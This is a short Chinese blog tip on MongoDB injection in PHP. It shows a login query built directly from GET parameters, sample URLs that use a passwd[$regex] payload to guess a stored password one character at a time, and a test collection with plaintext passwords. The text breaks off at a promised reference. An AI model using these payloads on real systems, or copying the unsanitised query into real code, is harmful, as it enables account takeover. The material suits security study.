天天看點

mongo+php 注射的一個tips from superhei

<?php

$con = new Mongo();

$db  = $con->selectDB("demo")->selectCollection("admin");

var_dump($_GET['passwd']);

$ds =$db->find(array("username"=>$_GET['username'],"password"=>$_GET['passwd']));

foreach($ds as $k=>$v){

var_dump($v);

}

?>

<a href="http://localhost/mongo/go-1.php?username=heige&amp;passwd%5B%24regex%5D=%5E1">http://localhost/mongo/go-1.php?username=heige&amp;passwd[$regex]=^1</a>

<a href="http://localhost/mongo/go-1.php?username=heige&amp;passwd%5B%24regex%5D=%5E2">http://localhost/mongo/go-1.php?username=heige&amp;passwd[$regex]=^2</a>

測試的資料庫結構:

&gt; db.admin.find()

{ "_id" : ObjectId("4f562d110920d897e6765ae1"), "uid" : 1, "username" : "heige", "password" : "123456" }

{ "_id" : ObjectId("4f5b38ba0920d897e6765ae2"), "uid" : 2, "username" : "admin", "password" : "admin" }

這樣的注射方式主要利用了PHP的特點,可以直接送出array 。。。

另外參考老外的2個tips: